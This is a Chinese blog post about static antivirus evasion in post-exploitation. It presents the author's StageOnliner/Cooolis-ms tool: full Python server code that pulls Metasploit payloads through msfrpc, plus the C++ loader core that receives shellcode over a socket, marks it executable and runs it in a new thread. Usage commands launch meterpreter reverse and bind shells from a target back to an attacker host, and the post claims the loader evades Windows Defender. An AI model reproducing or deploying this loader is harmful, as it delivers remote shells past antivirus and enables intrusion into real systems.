后渗透下遇到的问题一(静态免杀)

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

文章作者拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经文章作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

通常在演练过程里,目的是追求快速的获取更多的权限,但是目标机器都安装了各种反病毒软件,种类繁多,大多对于静态查杀管控较为严格,导致一些工具无法使用。而在这个夹缝中生存的渗透师,就必须要学习更多的知识,本文会阐述一些关于静态免杀的方案,以及我的理解,如有不对,请斧正。

关于代码

一般来说,不管是Linux操作系统、Windows操作系统,可执行的应用程序文件,都遵循着一种格式:

  • Linux ELF
  • Windows PE

这种格式又包含了:可执行的应用程序、动态链接库等等,如Windows下的.exe、.dll。

而这些文件,其中都有一块空间用于保存程序的代码,也就是指令集,操作系统若想要执行一个文件,就要先将文件加载到内存,并分配相应的虚拟地址空间,创建一个进程和线程,线程再去执行程序的代码。

那么假设如上可以理解,就能够推断出常用的Shellcode加载器的工作原理:

  • Shellcode是代码本身
  • 加载器是具备读取代码的程序
  • 加载器执行后,操作系统会创建一个进程与一个线程
  • 第一个线程用于读取代码(Shellcode)并创建第二个线程,将线程执行的第一条指令指向代码(Shellcode)

关于内存

在Windows操作系统中,每个进程互不干扰(除了公用的内核对象以外),都有自己的虚拟内存空间,而这一块线性的内存空间又被切成一页一页的大小,通常默认情况下,每页的大小是4KB。

Windows通过以页的单位来管理进程的虚拟内存空间,最典型的例子:

https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc

LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

使用VirtualAlloc Windows API 可向操作系统申请内存空间,操作系统根据指定的大小来调整分配几页,并且会自动进行内存对齐。

为什么要讲到内存呢,因为静态免杀的核心就是将代码加载至内存,理解内存的管理方式,才能产生更多的想法。

关于静态免杀

静态免杀,提起这个很多人会想到很久远的…. 花指令、压缩壳、垃圾资源 等等。

但是由于Shellcode加载器的出现,很多人开始从源码方面出发,通过正常且无害的API来构建一个加载器。

这里说一个问题,比如:

  • lcx.exe 这款工具,很多人说它是黑客工具,但真的如此吗?
  • 中国菜刀这款工具,很多人说它是黑客工具,但真的如此吗?
  • 灰鸽子远控,很多人说它是黑客工具,但真的如此吗?

其实在软件的世界里,善与恶也取决于你的心……

  • lcx 本身解决了端口转发的问题,方便了网管;
  • 中国菜刀,出发点是为网站管理员管理网站方便的,因为以前大多使用虚拟主机,用ftp更新代码,比较繁琐。
  • 灰鸽子远控,出发点是为了方便给企业管理终端

所以说,程序的好坏,取决于用途和目的。

说完正反的问题,再聊聊加载器,目前见的最多的是两大加载器:

  • Shellcode加载器
  • PE加载器

两者有什么不同呢,我想可能就是加载的文件格式不同,但最终都要运行文件中的代码。

Metasploit

我用Metasploit有些时间了,起初觉得非常强大,关于Metasploit早期的文章里说到让目标上线的过程里,一定会包含生成木马的环节,最早是叫msfpayload后来改成了msfvenom,经过不断的优化,msfvenom目前速度变快了许多,但是生成木马一直是一个繁琐的事情。

为了解决这个问题,我做了一件事,写了一个远程的Shellcode加载器,Shellcode不需要混淆,也能正常工作,并且支持所有payload,例如:

  • windows/x64/meterpreter/bind_tcp
  • windows/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_tcp_rc4
  • ….

我给这个项目取名叫:StageOnliner,查了一下,英语里没有Onliner,但就是要硬核一下,名字只是一个叫法。

StageOnliner

StageOnliner 主要是为了解决Windows平台下上线metasploit各种模块生成的繁琐问题

例如上线 windows/meterpreter 和 windows/x64/meterpreter 下的模块,需要生成 shellcode 或 使用msfvenom生成PE文件执行,而使用StageOnliner可以将所有模块兼容,只需要上传一个StageOnliner.exe即可。

特性:

  • 兼容Metasploit所有Payload模块
  • 支持网络正向、反向、加密
  • 支持分离部署
  • 支持客户端操作系统、服务器操作系统 90%
  • 支持64位、32位操作系统
  • 体积小

2019-09-24-21-14-47

文件属性

该文件属性如下:

属性
体积 90KB
免杀情况 最新Windows Defender
兼容平台 Windows XP +

参数示例

上线reverse_tcp_rc4示例:

C:\windows\system32\cmd.exe /c C:\www\StageOnliner-x86.exe -p windows/meterpreter/reverse_tcp_rc4 -s LHOST=192.168.117.1,LPORT=1122,RC4PASSWORD=hello -H 192.168.117.1 -P 4474

上线reverse_tcp示例:

C:\windows\system32\cmd.exe /c C:\www\StageOnliner-x86.exe -p windows/meterpreter/reverse_tcp -s LHOST=192.168.117.1,LPORT=1122 -H 192.168.117.1 -P 4474

上线bin_tcp x64示例:

C:\windows\system32\cmd.exe /c C:\www\StageOnliner-x86.exe -p windows/x64/meterpreter/bind_tcp -s RHOST=192.168.117.169,LPORT=1122 -H 192.168.117.1 -P 4474

使用帮助

2019-09-24-21-15-27

使用方式:

Server IP地址
Metasploit Server 192.168.117.1
Stager Server 192.168.117.1
Target Server 192.168.117.169
Metasploit Server 1.1.1.1

PS:服务器可分离部署,StageOnliner可上线多台服务器

在Metasploit Server上启动msfrpcd:

rvn0xsy@MacBook-Pro ~> /opt/metasploit-framework/bin/msfrpcd -U msf -P msf -u /api/1.0/
[*] MSGRPC starting on 0.0.0.0:55553 (SSL):Msg...
[*] URI: /api/1.0/
[*] MSGRPC backgrounding at 2019-09-14 18:41:14 +0800...
[*] MSGRPC background PID 50486

在Stager Server上启动server.py:

python3 server.py -U msf -P msf -H 127.0.0.1 -p 55553 -s -v -l 4474 -S 192.168.117.1

2019-09-24-21-15-54

在目标机器上启动StageOnliner:

C:\windows\system32\cmd.exe /c C:\www\StageOnliner-x86.exe -p windows/meterpreter/reverse_tcp -s LHOST=192.168.117.1,LPORT=1122 -H 192.168.117.1 -P 4474

这个项目前身叫:Cooolis-ms,后来我不小心把源代码删除了,就重写了一下。

整个StageOnliner的工作模块分为三个:

  • StageOnliner - Loader
  • StageOnliner - Server
  • StageOnliner - Metasploit RPC Server
  • StageOnliner - Metasploit Console

客户端就叫Loader,运行后会向Server取回对应的模块Shellcode,其中Server接收请求后,会登录Metasploit RPC Server,调用API Method,RPC Server会把生成好的Shellcode回传,最终到达Loader,执行,上线到Console。

  • Loader -> Server
  • Server -> RPC Server
  • RPC Server -> Server
  • Server -> Loader
  • Loader -> Console

其中,Server、RPC Server、Console都可以分离部署。

StageOnliner - 实现

参考:https://metasploit.help.rapid7.com/docs/standard-api-methods-referenc

上面是Metasploit关于RPC服务的接口手册

Server代码:https://github.com/Rvn0xsy/Cooolis-ms/

目前可能无法正常工作了,本文不分享这类工具,只是交流想法。

我写出的Server代码如下:

"""
Cooolis-ms
------------
Author:Rvn0xsy@gmail.com
根据Metasploit Framework RPC 实现远程生成PAYLOAD,主要用于给灵活的PE加载器、Shellcode工作
Github:https://github.com/Rvn0xsy/Cooolis-ms/
"""
import requests
from argparse import ArgumentParser
import msgpack
import ssl
import sys
import json
import term
import struct
from socketserver import BaseRequestHandler,ThreadingTCPServer
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
ssl._create_default_https_context = ssl._create_unverified_context


class Metasploit_RPC(BaseRequestHandler):
    def __init__(self, request, client_address, server, args):
        self.type = args.type
        self.username = args.username
        self.password = args.password
        self.listen = args.listen
        self.host = args.host
        self.port = args.port
        self.server = args.server
        self.uri = args.uri
        self.debug = args.versobe
        self.token = ''
        self.url = ''
        self.headers = {"Content-type" : "binary/message-pack"}
        if args.ssl:
            prefix = 'https://'
        else:
            prefix = 'http://'
        self.url = "{prefix}{host}:{port}{uri}".format(prefix=prefix,host=self.host,port=self.port,uri=self.uri)
        super().__init__(request, client_address, server)

    @classmethod
    def Creator(cls, *args, **kwargs):
        def _HandlerCreator(request, client_address, server):
            cls(request, client_address, server, *args, **kwargs)
        return _HandlerCreator


    def _request(self,options):
        try:
            term.writeLine("[*]API URL : {url} , Method : {method}".format(url=self.url,method=options[0]), term.green)
            options = self.__pack(options)
            req  = requests.post(self.url,verify=False,headers=self.headers,data=options)
            result = self.__unpack(req.content)
            if b'error' in result:
                print("Error : %s" % str(result[b'error_message']),encoding = "utf8")
            else:
                return result
        except Exception as e:
            sys.stderr.write(str(e)+"\nRef:https://metasploit.help.rapid7.com/docs/standard-api-methods-referenc\n")
    

    def _get_token(self):
        options = ["auth.login",self.username,self.password]
        
        result = self._request(options)
        self.token = str(result[b'token'],encoding = "utf8")
        term.writeLine("[*]Token: {token} Username : {username} Password : {password}".format(token=self.token,username=self.username,password=self.password),term.green)
    
    # 打包数据
    def __pack(self,pack_str):
        return msgpack.packb(pack_str)
    
    # 解包数据
    def __unpack(self,pack_str):
        return msgpack.unpackb(pack_str)

    def __send_payload(self,payload,options):
        term.writeLine("[*]PAYLOAD: {payload}".format(payload=payload),term.green)
        pack_data = ["module.execute",self.token,"payload",payload,options]
        return self._request(pack_data)

    def handle(self):
        term.writeLine("[*]New connection: {client}".format(client=self.client_address),term.green)
        self._get_token()
        while True:
            data = self.request.recv(1024)
            if not data:break
            try:
                data = struct.unpack(">200s200s200sLHH",data)
                options = {}
                str_json = data[1].decode('UTF-8')
                str_json = str_json.strip('\x00')
                # print("Options : %s size : %d",str_json,len(str_json))
                for x in str_json.split(','):
                    k,v = x.split('=',2)
                    # print(k,":",v)
                    options.update({k.strip():v.strip()})
                payload = data[0].decode('UTF-8')
                payload = payload.strip('\x00')
                # print("Payload : %s Options : %s " % (payload,options['LHOST']))
                recv_payload = self.__send_payload(payload,options)
                # print("Send ..  %s ",recv_payload)
                payload_size = len(recv_payload[b'payload'])
                self.request.send(payload_size.to_bytes(4,byteorder='little',signed=False))
                self.request.send(recv_payload[b'payload'])
                self.request.close()
            except Exception as e:
                term.writeLine("[!]{error}".format(error=str(e)),term.red)
                pass
            finally:
                break

def main():
    example = 'Example:\n\n$ python3 server.py -U msf -P msf -v -s -l 4444'
    args = ArgumentParser(prog='Cooolis-ms',epilog=example)
    args.add_argument('-U','--username',help='Metasploit web service username',required=True)
    args.add_argument('-P','--password',help='Metasploit web service password',required=True)
    args.add_argument('-H','--host',help='Metasploit web service host, Default: localhost',default='localhost')
    args.add_argument('-p','--port',help='Metasploit RPC service port, Default: 55553',default=55553,type=int)
    args.add_argument('-S','--server',help='Payload sender listen host, Default: localhost',default='localhost')
    args.add_argument('-l','--listen',help='Payload listen port, Default: 1111',default=1111,type=int)
    args.add_argument('-u','--uri',help='Metasploit RPC service uri, Default: /api/1.0/',default='/api/1.0/')
    args.add_argument('-t','--type',help='Payload Type',choices=('exe','ruby','c','dll','vbs','powershell'))
    args.add_argument('-s','--ssl',help='Enable ssl, Default: True',action="store_true",default=True)
    args.add_argument('-v','--versobe',help='Enable debug',action="store_true")
    parser = args.parse_args()
    term.writeLine("[*]Server Host : {host} , Server Port : {port}".format(host=parser.server,port=parser.listen), term.green)
    server = ThreadingTCPServer((parser.server,parser.listen),Metasploit_RPC.Creator(parser))
    server.serve_forever()
    
if __name__ == "__main__":
    main()

启动Server之前,需要启动msfrpcd:

rvn0xsy ~> /opt/metasploit-framework/bin/msfrpcd -U msf -P msf -u /api/1.0/
[*] MSGRPC starting on 0.0.0.0:55553 (SSL):Msg...
[*] URI: /api/1.0/
[*] MSGRPC backgrounding at 2019-09-14 18:41:14 +0800...
[*] MSGRPC background PID 50486

启动Server:

python3 server.py -U msf -P msf -H 127.0.0.1 -p 55553 -s -v -l 4474 -S 192.168.117.1

在目标机器上运行:

C:\windows\system32\cmd.exe /c C:\www\StageOnliner-x86.exe -p windows/meterpreter/reverse_tcp -s LHOST=1
92.168.117.1,LPORT=1122 -H 192.168.117.1 -P 4474

然后在metasploit中开启一个handler,监听windows/meterpreter/reverse_tcp即可上线。

StageOnliner - Loader

这块要单独挑出来说,因为它需要落地,涉及到一些API的使用:

  • 网络连接
  • 内存管理
  • 线程管理

流程大致如下:

第一步

运行起来后,程序先申请一块内存空间:

CONST INT PAYLOAD_LEN = 200;

struct stager {
	char payload[PAYLOAD_LEN];
	char options[PAYLOAD_LEN];
};

假设为 200x2 = 400字节大小。

第一块放要使用的payload,第二块放payload的设置选项,以逗号分隔。

通过server中转相当于把msfvenom实现在本地了。

第二步

读取用户输入:GetCommandline()

然后将输入的参数放入stager结构体。

第三步

连接Server,将结构体发送到Server,Server通过struct解析payload与options,调用msfrpc,生成shellcode,返回给Loader。

代码片段:

// 连接套接字
	while (connect(socks, (struct sockaddr*) & sock_addr, sizeof(sock_addr)) == SOCKET_ERROR) {
		cout << "[!]Connect error ! " << GetLastError() << endl;
		Sleep(5000);
		continue;
	}

	send(socks, (char*)& sd, sizeof(sd), 0);
	recv(socks, (char*)& dwPayloadLength, sizeof(DWORD), 0);
	Sleep(3000);
	CHAR* pSpace = (CHAR*)VirtualAlloc(NULL, dwPayloadLength, MEM_COMMIT, PAGE_READWRITE);
	recv(socks, pSpace, dwPayloadLength,0);
	closesocket(socks);
	VirtualProtect(pSpace, dwPayloadLength, PAGE_EXECUTE_READ, &dwOldProtect);
	hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)pSpace, NULL, NULL, NULL);
	WaitForSingleObject(hThread, INFINITE);
	VirtualFree(hThread, 0, MEM_RELEASE);

至此,演练环境下不需要考虑静态免杀的问题了,只需要提前搭建好Server、Metasploit RPC Server,剩下的就靠Console Server和Loader配合,Shellcode全在网络中传输……

目前我没实现流量加密,也就是说第一个数据包是明文的,后续会采用RC4等优化。

由于工具有些敏感,暂时就先抛出思路来~